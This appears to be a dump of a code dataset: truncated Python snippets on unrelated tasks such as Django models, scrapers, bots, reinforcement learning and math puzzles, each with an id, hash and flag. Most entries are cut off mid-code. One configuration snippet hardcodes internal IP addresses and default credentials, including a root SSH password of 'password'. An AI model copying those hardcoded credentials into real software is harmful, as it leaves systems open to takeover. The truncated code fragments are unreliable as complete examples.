#!/usr/bin/python # -*- coding: utf-8 -*- #Title: Counting summations import math limit = 201 comboList = dict() alphabet = range(1, limit) searchAlphabet = set(alphabet) def concat(a, b): return "%i %i" % (a, b) def split(n, min=1, tab=6): if concat(n,min) in comboList.keys(): if tab == 6: print " %sn = %i, ...
[ "#!/usr/bin/python\n# -*- coding: utf-8 -*-\n#Title: Counting summations\n\nimport math\n\nlimit = 201\ncomboList = dict()\nalphabet = range(1, limit)\nsearchAlphabet = set(alphabet)\ndef concat(a, b):\n\treturn \"%i %i\" % (a, b)\n\ndef split(n, min=1, tab=6):\n\tif concat(n,min) in comboList.keys():\n\t\tif tab =...
true
6,349
fabd3f233753f63d731a43c8b8b311e50d9deefe
# 217 is a prime number. In order 2017 to be a divisor of for sigma(a)=Product((p**(n+1)-1) // (p-1) for all divisors) it must be a power of a prime with (p**(a+1)-1) // (p-1) % 2017 == 0 # so we need only to check all such primes 'p' and count all k*p for k=1..N//p. We check p^n with n>=2 by brute force all primes. F...
[ "# 217 is a prime number. In order 2017 to be a divisor of for sigma(a)=Product((p**(n+1)-1) // (p-1) for all divisors) it must be a power of a prime with (p**(a+1)-1) // (p-1) % 2017 == 0\r\n# so we need only to check all such primes 'p' and count all k*p for k=1..N//p. We check p^n with n>=2 by brute force all pr...
false
6,350
11337f6f9cf22ba6fbed68dfcb7a07fb6368e94e
# -*- coding: utf-8 -*- from django.db import models from backend.models.account import Account from string import Template out = Template("$account: $parts") class Group(models.Model): name = models.CharField(max_length=100) class GroupParticipation(models.Model): account = models.ForeignKey(Account, r...
[ "# -*- coding: utf-8 -*-\n\nfrom django.db import models\n\nfrom backend.models.account import Account\nfrom string import Template\n\n\nout = Template(\"$account: $parts\")\n\n\nclass Group(models.Model):\n name = models.CharField(max_length=100)\n\n\nclass GroupParticipation(models.Model):\n account = model...
false
6,351
221b6ad6035276fb59addc4065c4ccee3f5a2d84
from random import choice, random from tabulate import tabulate from Constants import * from time import sleep import numpy as np import os class QLearn(): def __init__(self, alfa, gama, epsilon, epsilonDecay, epsilonMin, rewards, environment): self.alfa = alfa self.gama = gama self.epsilon...
[ "from random import choice, random\nfrom tabulate import tabulate\nfrom Constants import *\nfrom time import sleep\nimport numpy as np\nimport os\n\nclass QLearn():\n def __init__(self, alfa, gama, epsilon, epsilonDecay, epsilonMin, rewards, environment):\n self.alfa = alfa\n self.gama = gama\n ...
false
6,352
df25b51010fdbcbf1a8949a7a755a3a982bbf648
from django.db import models from .data import REGISTER_TYPE_CHOICES from .data import ENTRANCE_TYPE from .data import EXPENSE_TYPE class EstheticHouse(models.Model): name = models.CharField( verbose_name='nombre', max_length=512, unique=True, ) def __str__(self): return ...
[ "from django.db import models\n\nfrom .data import REGISTER_TYPE_CHOICES\nfrom .data import ENTRANCE_TYPE\nfrom .data import EXPENSE_TYPE\n\n\nclass EstheticHouse(models.Model):\n name = models.CharField(\n verbose_name='nombre',\n max_length=512,\n unique=True,\n )\n\n def __str__(sel...
false
6,353
107b09696ac671e689235da55aaf4c26ae7c321c
import scraperwiki html = scraperwiki.scrape('http://www.denieuwereporter.nl/') # scrape headlines van denieuwereporter-alle h1 koppen import lxml.html root = lxml.html.fromstring(html) tds = root.cssselect('h1') for h1 in tds: #print lxml.html.tostring(h1) print h1.text_content() record = {'h1': h1.text_c...
[ "import scraperwiki\nhtml = scraperwiki.scrape('http://www.denieuwereporter.nl/')\n# scrape headlines van denieuwereporter-alle h1 koppen\n\nimport lxml.html\nroot = lxml.html.fromstring(html)\ntds = root.cssselect('h1')\nfor h1 in tds:\n #print lxml.html.tostring(h1)\n print h1.text_content()\n record = {...
true
6,354
fe1cc7660396071172c1ec65ba685e677e497646
# TODO - let user input file name on command line level_file = 'level.txt' # read characters in level.txt into # terrain map # which is array of columns f = open(level_file) terrain_map = [] for row in f: col_index = 0 row_index = 0 for tile in row.rstrip(): if col_index == len(terrain_map): terrain_map.appen...
[ "# TODO - let user input file name on command line\n\nlevel_file = 'level.txt'\n\n# read characters in level.txt into\n# terrain map\n# which is array of columns\nf = open(level_file)\nterrain_map = []\nfor row in f:\n\tcol_index = 0\n\trow_index = 0\n\tfor tile in row.rstrip():\n\t\tif col_index == len(terrain_map...
true
6,355
c1335a8128ad4ba6ce6942e80f3c8b68a4210902
def chessKnight(cell): pivot = "abcdefgh" count = 8 for i in range(len(pivot)): if cell[0] == pivot[i]: vertical_4 , vertical_2 = False , False if int(cell[1]) == 8 or int(cell[1]) == 1: vertical_4 = True count -= 4 elif int(cell[1]...
[ "def chessKnight(cell):\n pivot = \"abcdefgh\"\n count = 8\n for i in range(len(pivot)):\n if cell[0] == pivot[i]:\n vertical_4 , vertical_2 = False , False\n if int(cell[1]) == 8 or int(cell[1]) == 1:\n vertical_4 = True\n count -= 4\n ...
false
6,356
63ee25791177ead5389c14990ce6da3e2c11b683
import gym import os import sys import numpy as np import theano import theano.tensor as T import matplotlib.pyplot as plt from gym import wrappers from datetime import datetime from mountain_car_v1_q_learning import Transformer # so you can test different architectures class Layer: def __init__(self, m1, m2, f=...
[ "import gym\nimport os\nimport sys\nimport numpy as np\nimport theano\nimport theano.tensor as T\nimport matplotlib.pyplot as plt\nfrom gym import wrappers\nfrom datetime import datetime\n\nfrom mountain_car_v1_q_learning import Transformer\n\n\n\n# so you can test different architectures\nclass Layer:\n\n def __i...
false
6,357
b3ee76bc0d93135d0908044a2424dd927a390007
import os from sql_interpreter.tables.csv_table import CsvTable from sql_interpreter.interpreter import SqlInterpreter from sql_interpreter.cli import Cli class InterpreterTest(): def setUp(self): self.interpreter = SqlInterpreter() self.cli = Cli(self.interpreter) filename = os....
[ "import os\r\nfrom sql_interpreter.tables.csv_table import CsvTable\r\nfrom sql_interpreter.interpreter import SqlInterpreter\r\nfrom sql_interpreter.cli import Cli\r\n\r\n\r\nclass InterpreterTest():\r\n def setUp(self):\r\n self.interpreter = SqlInterpreter()\r\n self.cli = Cli(self.interpreter)\...
false
6,358
8cd50e1f0e0feb4d753443220f9fa9065e80e0ef
from concurrent.futures import ProcessPoolExecutor from nltk import PorterStemmer, RegexpTokenizer from stop_words import get_stop_words class Preprocessor(object): def __init__(self, max_workers=4): self.max_workers = max_workers self.tokenizer = RegexpTokenizer(r"\w+") self.en_stopwords...
[ "from concurrent.futures import ProcessPoolExecutor\n\nfrom nltk import PorterStemmer, RegexpTokenizer\nfrom stop_words import get_stop_words\n\n\nclass Preprocessor(object):\n def __init__(self, max_workers=4):\n self.max_workers = max_workers\n self.tokenizer = RegexpTokenizer(r\"\\w+\")\n ...
false
6,359
548a236c4c485091d312593dcb0fa331ff98f1a8
import sys import os import utils def run(name, dim_k, dump='dump', add_cmd=''): res = all_res[name] model = 'ATT_ts' if res.split('_')[1] == 'att' else 'LastItem' cmd = f'python main.py -model={model} -ds=v3 -restore_model={res} -k={dim_k} -show_detail -{dump} -nb_topk=2000 -nb_rare_k=1000 -msg={name} {a...
[ "import sys\nimport os\nimport utils\n\ndef run(name, dim_k, dump='dump', add_cmd=''):\n res = all_res[name]\n model = 'ATT_ts' if res.split('_')[1] == 'att' else 'LastItem'\n\n cmd = f'python main.py -model={model} -ds=v3 -restore_model={res} -k={dim_k} -show_detail -{dump} -nb_topk=2000 -nb_rare_k=1000 -...
false
6,360
5215b5e4efe2e126f18b3c4457dc3e3902923d49
from django import forms from django.forms import inlineformset_factory from django.utils.translation import ugettext, ugettext_lazy as _ from django.contrib.auth.models import User from django.conf import settings from django.db.models import Max from auction.models import * from datetime import * from decimal import ...
[ "from django import forms\nfrom django.forms import inlineformset_factory\nfrom django.utils.translation import ugettext, ugettext_lazy as _\nfrom django.contrib.auth.models import User\nfrom django.conf import settings\nfrom django.db.models import Max\nfrom auction.models import *\nfrom datetime import *\nfrom de...
false
6,361
fa6f251f27b645fc6827285b5578fd9634c8bb30
import gzip import pickle as pkl import time from datetime import datetime import grpc import numpy as np from sklearn.utils import shuffle import neural_nets_pb2 as nn_pb import neural_nets_pb2_grpc as nn_pb_grpc from mnist_loader import load_data from activations import * # pylint: disable=too-many-arguments cl...
[ "import gzip\nimport pickle as pkl\nimport time\nfrom datetime import datetime\n\nimport grpc\nimport numpy as np\nfrom sklearn.utils import shuffle\n\nimport neural_nets_pb2 as nn_pb\nimport neural_nets_pb2_grpc as nn_pb_grpc\nfrom mnist_loader import load_data\nfrom activations import *\n\n\n# pylint: disable=too...
false
6,362
ddbcc8e768f93a0b4f8776b19e752c57feb5bbf9
#!/usr/bin/env python #coding=utf-8 from datetime import * import unittest def getSnapshot(historyData, id): data = historyData.split('\n') lines = len(data) if lines < 2 : return 'Input is too short!' index = 0 curid = '' idlist = dict() recordtime = '' animal_pos = dict() f...
[ "#!/usr/bin/env python\n#coding=utf-8\nfrom datetime import *\nimport unittest\ndef getSnapshot(historyData, id):\n data = historyData.split('\\n')\n lines = len(data)\n if lines < 2 :\n return 'Input is too short!'\n index = 0\n curid = ''\n idlist = dict()\n recordtime = ''\n animal...
false
6,363
1d29ce58ca626155d626216fbbd70d7b241efa25
import ccxt import json import time from baglanti import mysql_baglan import datetime import requests from urllib.parse import urljoin import sys db = mysql_baglan("bingo") cursor = db.cursor() cursor.execute('SET NAMES utf8;') cursor.execute('SET CHARACTER SET utf8;') cursor.execute('SET character_set_co...
[ "import ccxt\r\nimport json\r\nimport time\r\nfrom baglanti import mysql_baglan\r\nimport datetime\r\nimport requests\r\nfrom urllib.parse import urljoin\r\nimport sys\r\n\r\ndb = mysql_baglan(\"bingo\")\r\ncursor = db.cursor()\r\ncursor.execute('SET NAMES utf8;')\r\ncursor.execute('SET CHARACTER SET utf8;')\r\ncur...
false
6,364
fab1d2270ae906ca92cf3be2c2d9767737ea6083
#!/usr/bin/env python #coding:utf-8 import sys import time reload(sys) sys.setdefaultencoding('utf8') from bs4 import BeautifulSoup import requests import csv import codecs import xlwt #from word_power_dict import get_url_dict #from Vocabulary_Toefl_MP3s_5000_Words_Memory_Course_dict import get_url_dict #from new_para...
[ "#!/usr/bin/env python\n#coding:utf-8\n\nimport sys\nimport time\nreload(sys)\nsys.setdefaultencoding('utf8')\nfrom bs4 import BeautifulSoup\nimport requests\nimport csv\nimport codecs\nimport xlwt\n#from word_power_dict import get_url_dict\n#from Vocabulary_Toefl_MP3s_5000_Words_Memory_Course_dict import get_url_d...
true
6,365
76905171602cbeb53903a4b0259685288da3a083
import os import datetime import traceback import json import requests import logging from model import Product from naver_api import naver_client_id, naver_client_secret DEBUG = False if not DEBUG: logging.getLogger('boto3').setLevel(logging.WARNING) logging.getLogger('botocore').setLevel(logging.WARNING) ...
[ "import os\nimport datetime\nimport traceback\nimport json\nimport requests\nimport logging\n\nfrom model import Product\nfrom naver_api import naver_client_id, naver_client_secret\n\n\nDEBUG = False\nif not DEBUG:\n logging.getLogger('boto3').setLevel(logging.WARNING)\n logging.getLogger('botocore').setLevel...
false
6,366
70cef88f3fe93d370e5d21a2b00b761ce530a099
""" Given a random set of numbers, Print them in sorted order. Example 1: Input: N = 4 arr[] = {1, 5, 3, 2} Output: {1, 2, 3, 5} Explanation: After sorting array will be like {1, 2, 3, 5}. """ #complexity--> n*log n def sortarray(arr): for i in range(1,len(arr)): key=arr[i] j=i-1 while(j>...
[ "\"\"\"\nGiven a random set of numbers, Print them in sorted order.\n\nExample 1:\n\nInput:\nN = 4\narr[] = {1, 5, 3, 2}\nOutput: {1, 2, 3, 5}\nExplanation: After sorting array will \nbe like {1, 2, 3, 5}.\n\"\"\"\n#complexity--> n*log n\ndef sortarray(arr):\n for i in range(1,len(arr)):\n key=arr[i]\n ...
false
6,367
1e4d18909b72ceef729efdd7b2ab996ace45f1bd
__author__ = 'matthias' from tcp import * from data import * #SERVER = "131.225.237.31" #PORT = 33487 data = LaserData() #server = TCP(SERVER, PORT) server = TCP() server.start_server() for i in range(100): data = server.recv_server() print data
[ "__author__ = 'matthias'\n\nfrom tcp import *\nfrom data import *\n\n#SERVER = \"131.225.237.31\"\n#PORT = 33487\n\ndata = LaserData()\n#server = TCP(SERVER, PORT)\nserver = TCP()\nserver.start_server()\nfor i in range(100):\n data = server.recv_server()\n\n print data\n\n" ]
true
6,368
3a053c2c8a2b9123974183e65914dc0f73d2e078
import glob import os import xml.etree.ElementTree as ET file_dirs = ["train/","test/"] for file_dir in file_dirs: fdir = "custom_dataset/" + file_dir for directory in os.listdir(fdir): new_location = "/content/gdrive/My Drive/project/custom_dataset/" + file_dir + directory xml_file...
[ "import glob\nimport os\nimport xml.etree.ElementTree as ET\n\nfile_dirs = [\"train/\",\"test/\"]\n\nfor file_dir in file_dirs:\n fdir = \"custom_dataset/\" + file_dir\n for directory in os.listdir(fdir):\n \n new_location = \"/content/gdrive/My Drive/project/custom_dataset/\" + file_dir + direc...
false
6,369
8220a6d33cda5861e74d6236757abbc81685a998
# -*- coding: utf-8 -*- """ Modul do zapisu piosenki (wczytywanie ustawien (defs.txt), tworzenie .wav, "zglasnianie utworu") """ print("Laduje modul o nazwie: "+__name__) import numpy as np def wczytywanie_ustawien(plik_konfiguracyjny = "defs.txt"): """ wczytywanie pl...
[ "# -*- coding: utf-8 -*-\r\n\"\"\"\r\nModul do zapisu piosenki (wczytywanie ustawien (defs.txt), tworzenie .wav,\r\n \"zglasnianie utworu\")\r\n\"\"\"\r\n\r\n\r\nprint(\"Laduje modul o nazwie: \"+__name__)\r\n\r\nimport numpy as np\r\n\r\ndef wczytywanie_ustawien(plik_konfiguracyjny = \"def...
false
6,370
52a4213a1729e25f96faebc5fd4f299017446c5a
# Generated by Django 3.0.10 on 2020-12-19 15:07 from django.db import migrations, models class Migration(migrations.Migration): initial = True dependencies = [ ("wagtailadmin", "0001_create_admin_access_permissions"), ] operations = [ migrations.CreateModel( name="Admi...
[ "# Generated by Django 3.0.10 on 2020-12-19 15:07\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n initial = True\n\n dependencies = [\n (\"wagtailadmin\", \"0001_create_admin_access_permissions\"),\n ]\n\n operations = [\n migrations.CreateModel(...
false
6,371
f82c961fc1accd362b34a685bac4cc35d98f44ef
import pandas as pd from sklearn.pipeline import Pipeline from sklearn.feature_extraction.text import TfidfVectorizer from sklearn.svm import LinearSVC from sklearn.model_selection import train_test_split from sklearn.metrics import classification_report if __name__ == "__main__": dataset = pd.read_csv('./dataset....
[ "import pandas as pd\nfrom sklearn.pipeline import Pipeline\nfrom sklearn.feature_extraction.text import TfidfVectorizer\nfrom sklearn.svm import LinearSVC\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.metrics import classification_report\n\nif __name__ == \"__main__\":\n dataset = pd.read_...
false
6,372
c9191df0fc04818b4df9c93a9479f75a60688aa9
from django.shortcuts import render, HttpResponseRedirect, HttpResponse from django.views.generic import View from django.contrib.auth import login from django.contrib.auth.models import User class RegisterView(View): def get(self, request): return render(request, 'users/register.html', locals()) def...
[ "from django.shortcuts import render, HttpResponseRedirect, HttpResponse\nfrom django.views.generic import View\nfrom django.contrib.auth import login\nfrom django.contrib.auth.models import User\n\n\nclass RegisterView(View):\n def get(self, request):\n return render(request, 'users/register.html', local...
false
6,373
653c8db6741a586694d91bd9928d8326cce9e41d
# Copyright 2014 Amazon.com, Inc. or its affiliates. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"). You # may not use this file except in compliance with the License. A copy of # the License is located at # # http://aws.amazon.com/apache2.0/ # # or in the "license" file accompa...
[ "# Copyright 2014 Amazon.com, Inc. or its affiliates. All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\"). You\n# may not use this file except in compliance with the License. A copy of\n# the License is located at\n#\n# http://aws.amazon.com/apache2.0/\n#\n# or in the \"licen...
false
6,374
8a6eb2eb746e3b9de92998b70ddff2a39cb1f269
#!/usr/bin/env python # -*- coding: utf-8 -*- # @Time : 2018/4/11 16:07 # @Author : LiuZhi # @Site : # @File : Function.py # @Software: PyCharm #求绝对值的函数 print(abs(100)) print(abs(-20)) print(abs(12.34)) #print(abs(1,2)) #print(abs('q')) print(max(1,2)) print(max(1,2,3,-5)) print(int('123')) print(int(12....
[ "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# @Time : 2018/4/11 16:07\n# @Author : LiuZhi\n# @Site : \n# @File : Function.py\n# @Software: PyCharm\n\n#求绝对值的函数\nprint(abs(100))\nprint(abs(-20))\nprint(abs(12.34))\n\n#print(abs(1,2))\n#print(abs('q'))\n\nprint(max(1,2))\nprint(max(1,2,3,-5))\n\nprint(i...
false
6,375
318556a6c327294986fcef938c254b8dfe66adaa
class Car: __name="" __maxspeed = 0 def __init__(self): self.__updateSoftware() self.__name = "Supercar" self.__maxspeed=320 def drive(self): print("Driving") print("name of the car " + self.__name) def __updateSoftware(self): print("Updating So...
[ "class Car:\n __name=\"\"\n __maxspeed = 0\n\n\n def __init__(self):\n self.__updateSoftware()\n self.__name = \"Supercar\"\n self.__maxspeed=320\n\n\n def drive(self):\n print(\"Driving\")\n print(\"name of the car \" + self.__name)\n\n\n def __updateSoftware(self...
false
6,376
f17d59ca9bfa82848ec6a599e98f759449ccdd14
""" test_extra.py: In this file i wrote extra tests to my calculator program. Divided to some main parts: - Math Errors Tests (divide in zero, factorial, complex numbers) - Test with edge cases of minus (operator / sign) - Big results tests: expression that their result ...
[ "\"\"\"\n test_extra.py:\n In this file i wrote extra tests to my calculator program.\n Divided to some main parts:\n - Math Errors Tests (divide in zero, factorial, complex numbers)\n - Test with edge cases of minus (operator / sign)\n - Big results tests: expression that their result\n ...
false
6,377
7ce471b3a6966c1a60ae2e2f3ec42369fe3d0f9c
# Generated by Django 3.2.1 on 2021-05-17 18:02 import django.contrib.auth.models from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): initial = True dependencies = [ ('auth', '0012_alter_user_first_name_max_length'), ] operations...
[ "# Generated by Django 3.2.1 on 2021-05-17 18:02\n\nimport django.contrib.auth.models\nfrom django.db import migrations, models\nimport django.db.models.deletion\n\n\nclass Migration(migrations.Migration):\n\n initial = True\n\n dependencies = [\n ('auth', '0012_alter_user_first_name_max_length'),\n ...
false
6,378
9aeaab445ae9df5c27cc4375a8b6bf320d5ab873
#代码整体框架 #引用库 #创建窗口 def GameStart(): #游戏背景对象 Background = pygame.image.load() #挡板背景对象 Baddle = pygame.image.load() #球对象 Ball = pygame.image.load() #挡板位置信息 BaffleX BaffleY #球位置信息 BallX ballY BallSpeed #帧率控制Clock对象 #显示时间Clock对象 #...
[ "#代码整体框架\n\n#引用库\n\n#创建窗口\n\n\ndef GameStart():\n\n\n #游戏背景对象\n \n Background = pygame.image.load()\n \n #挡板背景对象\n\n Baddle = pygame.image.load()\n\n #球对象 \n\n Ball = pygame.image.load()\n\n #挡板位置信息\n\n BaffleX\n BaffleY\n\n #球位置信息\n\n BallX\n ballY\n BallSpeed\n\n ...
true
6,379
8c1bd4df5f33c433880d6a4becadf88fb922762b
import os from flask import Flask from flask.ext.login import LoginManager from config import basedir from flask.ext.sqlalchemy import SQLAlchemy from flask.ext.openid import OpenID from momentjs import momentjs app = Flask(__name__) app.config.from_object('config') db = SQLAlchemy(app) lm = LoginManager() lm.init_a...
[ "import os\nfrom flask import Flask\nfrom flask.ext.login import LoginManager\nfrom config import basedir\nfrom flask.ext.sqlalchemy import SQLAlchemy\nfrom flask.ext.openid import OpenID\nfrom momentjs import momentjs\n\n\napp = Flask(__name__)\napp.config.from_object('config')\ndb = SQLAlchemy(app)\n\nlm = LoginM...
false
6,380
fe0b21deb2e48ad74449b264265729cb328090ea
import os from sklearn import metrics import pandas as pd import numpy as np from submission import submission import argparse import glob def calc_auc(subm): preds=subm['target'].values labels=subm['labels'].values if len(set(labels))==1: print('warning calc_auc with single label dataset, return...
[ "import os\nfrom sklearn import metrics\nimport pandas as pd\nimport numpy as np\nfrom submission import submission\nimport argparse\nimport glob\n\n\n\ndef calc_auc(subm):\n preds=subm['target'].values\n labels=subm['labels'].values\n if len(set(labels))==1:\n print('warning calc_auc with single la...
false
6,381
bcc959dcdb60c55897158e85d73c59592b112c12
from django.shortcuts import render, get_object_or_404 from django.utils import timezone from django.db.models import Count from django.db.models import QuerySet from django.db import connection from django.core.paginator import Paginator, PageNotAnInteger from django.http import HttpResponse from django.http import H...
[ "from django.shortcuts import render, get_object_or_404\nfrom django.utils import timezone\nfrom django.db.models import Count\nfrom django.db.models import QuerySet\nfrom django.db import connection\nfrom django.core.paginator import Paginator, PageNotAnInteger\nfrom django.http import HttpResponse\nfrom django.h...
false
6,382
c4dcb94b7d6e45b875dccde752d3621e491f1076
correction_list = {} correction_list["Legend of Zelda, The - Majora's Mask"] = "The Legend of Zelda - Majora's Mask" correction_list["Legend of Zelda, The - Ocarina of Time"] = "The Legend of Zelda - Ocarina of Time" correction_list["Doubutsu no Mori"] = "Animal Forest" correction_list["Bomberman 64 - The Second Attac...
[ "correction_list = {}\n\ncorrection_list[\"Legend of Zelda, The - Majora's Mask\"] = \"The Legend of Zelda - Majora's Mask\"\ncorrection_list[\"Legend of Zelda, The - Ocarina of Time\"] = \"The Legend of Zelda - Ocarina of Time\"\ncorrection_list[\"Doubutsu no Mori\"] = \"Animal Forest\"\ncorrection_list[\"Bomberma...
false
6,383
5c5a0fd67a6d6e805b77ddfddfe959335daa3bad
import datetime a = datetime.datetime.now() while True: print("""\ Welcome to HMS 1. Are you want enter data 2. Are you want see record 3. exit """) option = int(input("enter your option")) print(option) if option == 1: print("""\ Select client na...
[ "import datetime\na = datetime.datetime.now()\nwhile True:\n print(\"\"\"\\\n Welcome to HMS\n 1. Are you want enter data\n 2. Are you want see record\n 3. exit\n \"\"\")\n option = int(input(\"enter your option\"))\n print(option)\n if option == 1:\n\n print(\"...
false
6,384
d2368ab243a0660cf98f1cf89d3d8f6cc85cefaa
# -*- coding: utf-8 -*- # Generated by Django 1.9.4 on 2016-06-10 12:20 from __future__ import unicode_literals from django.db import migrations, models class Migration(migrations.Migration): initial = True dependencies = [ ] operations = [ migrations.CreateModel( name='Complet...
[ "# -*- coding: utf-8 -*-\n# Generated by Django 1.9.4 on 2016-06-10 12:20\nfrom __future__ import unicode_literals\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n initial = True\n\n dependencies = [\n ]\n\n operations = [\n migrations.CreateModel(\n ...
false
6,385
3640f1df412b43b42fb4e856604508f698a208ad
from django.db import models from skills.models import skill from offres.models import Offer # Create your models here. class OfferRequirement(models.Model): skill = models.ForeignKey(skill, on_delete=models.DO_NOTHING ,default="") offer = models.ForeignKey(Offer , on_delete=models.CASCADE, default="")
[ "from django.db import models\nfrom skills.models import skill\nfrom offres.models import Offer \n\n# Create your models here.\nclass OfferRequirement(models.Model):\n skill = models.ForeignKey(skill, on_delete=models.DO_NOTHING ,default=\"\")\n offer = models.ForeignKey(Offer , on_delete=models.CASCADE, defa...
false
6,386
681750dbf489a6a32e9ef1d6f64d493cc252b272
from .. import dataclass # trigger the register in the dataclass package
[ "from .. import dataclass # trigger the register in the dataclass package\r\n", "from .. import dataclass\n", "<import token>\n" ]
false
6,387
52c356b903b1fbb8cbf24c899ed86d7bf134a821
# -*- coding: utf-8 -*- from lxml import etree if __name__ == '__main__': # xpath可以解析网页中的内容,html或者xml类型的文件都是<>开头结尾,层次非常明显 # data = '''<div> # <ul> # <li class="item-0"><a href="http://www.baidu.com">百度</a></li> # <li class="item-1"><a href="http://www.baidu.com">百度</a></li> ...
[ "# -*- coding: utf-8 -*-\n\nfrom lxml import etree\n\nif __name__ == '__main__':\n # xpath可以解析网页中的内容,html或者xml类型的文件都是<>开头结尾,层次非常明显\n # data = '''<div>\n # <ul>\n # <li class=\"item-0\"><a href=\"http://www.baidu.com\">百度</a></li>\n # <li class=\"item-1\"><a href=\"http://www.baidu...
false
6,388
dcb2351f9489815fbec8694b446d0a93972a6590
"""1) Написать бота-консультанта, который будет собирать информацию с пользователя (его ФИО, номер телефона, почта, адресс, пожелания). Записывать сформированную заявку в БД (по желанию SQl/NOSQL).).""" import telebot from .config import TOKEN from telebot.types import ReplyKeyboardMarkup, KeyboardButton, InlineKeybo...
[ "\"\"\"1) Написать бота-консультанта, который будет собирать информацию с\nпользователя (его ФИО, номер телефона, почта, адресс, пожелания).\nЗаписывать сформированную заявку в БД (по желанию SQl/NOSQL).).\"\"\"\n\n\nimport telebot\nfrom .config import TOKEN\nfrom telebot.types import ReplyKeyboardMarkup, KeyboardB...
false
6,389
573674e50e05880a2822f306c125207b382d872f
from django.conf import settings from django.contrib import admin from django.urls import path, include, reverse_lazy from django.views.generic import RedirectView, TemplateView from mainapp.views import ShortURLRedirect urlpatterns = [ path('', TemplateView.as_view(template_name='mainapp/index.html'), name='inde...
[ "from django.conf import settings\nfrom django.contrib import admin\nfrom django.urls import path, include, reverse_lazy\nfrom django.views.generic import RedirectView, TemplateView\n\nfrom mainapp.views import ShortURLRedirect\n\nurlpatterns = [\n path('', TemplateView.as_view(template_name='mainapp/index.html'...
false
6,390
e70ebd9bb9cd7027772ec117cb91349afba7ab10
#TODO: allow workers to pull this from cache RABBITMQ_IP = '172.23.105.82' OBJECT_CACHE_IP = "172.23.105.69" OBJECT_CACHE_PORT = "11911" SERIESLY_IP = '' COUCHBASE_IP = '172.23.105.54' COUCHBASE_PORT = '8091' COUCHBASE_USER = "Administrator" COUCHBASE_PWD = "password" SSH_USER = "root" SSH_PASSWORD = "password" WORKER...
[ "#TODO: allow workers to pull this from cache\n\nRABBITMQ_IP = '172.23.105.82'\nOBJECT_CACHE_IP = \"172.23.105.69\"\nOBJECT_CACHE_PORT = \"11911\"\nSERIESLY_IP = ''\nCOUCHBASE_IP = '172.23.105.54'\nCOUCHBASE_PORT = '8091'\nCOUCHBASE_USER = \"Administrator\"\nCOUCHBASE_PWD = \"password\"\nSSH_USER = \"root\"\nSSH_PA...
false
6,391
2424d667e1bb4ee75b5053eb6f9b002787a5317f
from flask import Flask, request, jsonify import sqlite3 from database import Database app = Flask(__name__) db = Database() @app.route('/') def homepage(): argslist = request.args faciltype = argslist.get('facil') facils = [] try: facils = db.getFacilitiesFromFacilityType(facilty...
[ "from flask import Flask, request, jsonify\r\nimport sqlite3\r\nfrom database import Database\r\n\r\napp = Flask(__name__)\r\ndb = Database()\r\n\r\n@app.route('/')\r\ndef homepage():\r\n argslist = request.args\r\n faciltype = argslist.get('facil')\r\n facils = []\r\n try:\r\n facils = db.getFac...
false
6,392
7c5877eea78c3fa8b7928219edd52e2502c16c09
from django import forms class TeacherForm(forms.Form): name = forms.CharField(label='Your Name', max_length=100, widget=forms.TextInput( attrs={'class': 'form-control text-center w-75 mx-auto'})) email = forms.EmailField(widget=forms.TextInput( attrs={'class': 'form-control text-center w-75 m...
[ "from django import forms\n\n\nclass TeacherForm(forms.Form):\n name = forms.CharField(label='Your Name', max_length=100, widget=forms.TextInput(\n attrs={'class': 'form-control text-center w-75 mx-auto'}))\n email = forms.EmailField(widget=forms.TextInput(\n attrs={'class': 'form-control text-c...
false
6,393
2471daad5969da29a20417a099a3ecd92fa036b4
import sys import array import random import math import gameduino2.prep import zlib import struct import gameduino as GD from eve import align4 from PIL import Image import numpy as np import wave import common GLOWR = (128, 256) GLOWR = (160, 400) sys.path.append("/home/jamesb/git/gd2-asset/examples/nightstrike") ...
[ "import sys\nimport array\nimport random\nimport math\nimport gameduino2.prep\nimport zlib\nimport struct\nimport gameduino as GD\nfrom eve import align4\n\nfrom PIL import Image\nimport numpy as np\nimport wave\nimport common\n\nGLOWR = (128, 256)\nGLOWR = (160, 400)\n\nsys.path.append(\"/home/jamesb/git/gd2-asset...
false
6,394
d566104b00ffd5f08c564ed554e0d71279a93047
#!/usr/bin/python import pprint import requests import string import subprocess #Create three files f_arptable = open( 'arptable', 'w+' ) f_maclist = open( 'maclist', 'w+' ) f_maclookup = open( 'maclookup', 'w+' ) #Give write permissions the three files subprocess.call([ 'chmod','+w','maclist' ]) subprocess.call([ ...
[ "#!/usr/bin/python\n\nimport pprint\nimport requests\nimport string \nimport subprocess\n\n#Create three files\nf_arptable = open( 'arptable', 'w+' )\nf_maclist = open( 'maclist', 'w+' )\nf_maclookup = open( 'maclookup', 'w+' )\n\n#Give write permissions the three files\nsubprocess.call([ 'chmod','+w','maclist' ])\...
false
6,395
f0f8ad7b65707bcf691847ccb387e4d026b405b5
from django.shortcuts import render from .models import Recipe, Author def index(request): recipes_list = Recipe.objects.all() return render(request, "index.html", {"data": recipes_list, "title": "Recipe Box"}) def recipeDetail(request, recipe_id): recipe_detail = Recipe.objects.filter...
[ "from django.shortcuts import render\nfrom .models import Recipe, Author\n\n\ndef index(request):\n recipes_list = Recipe.objects.all()\n return render(request, \"index.html\",\n {\"data\": recipes_list, \"title\": \"Recipe Box\"})\n\n\ndef recipeDetail(request, recipe_id):\n recipe_detail...
false
6,396
05ca7bbc3285a9e37921c0e514a2e31b05abe051
from data_loaders.data_module import ChestDataModule from utils.visualisation import showInRow from models import get_model from transforms.finetuning import ChestTrainTransforms, ChestValTransforms from models.baseline import BaseLineClassifier from pytorch_lightning.loggers import WandbLogger from pytorch_lightnin...
[ "from data_loaders.data_module import ChestDataModule\nfrom utils.visualisation import showInRow\nfrom models import get_model\n\nfrom transforms.finetuning import ChestTrainTransforms, ChestValTransforms\n\nfrom models.baseline import BaseLineClassifier\n\nfrom pytorch_lightning.loggers import WandbLogger\nfrom py...
false
6,397
e477a59e86cfeb3f26db1442a05d0052a45c42ff
#!/oasis/scratch/csd181/mdburns/python/bin/python import sys import pickle import base64 from process import process import multiprocessing as mp EPOCH_LENGTH=.875 EPOCH_OFFSET=.125 NUM_FOLDS=5 if __name__ == "__main__": mp.freeze_support() p= mp.Pool(2) for instr in sys.stdin: this_key='' sys.stderr.wr...
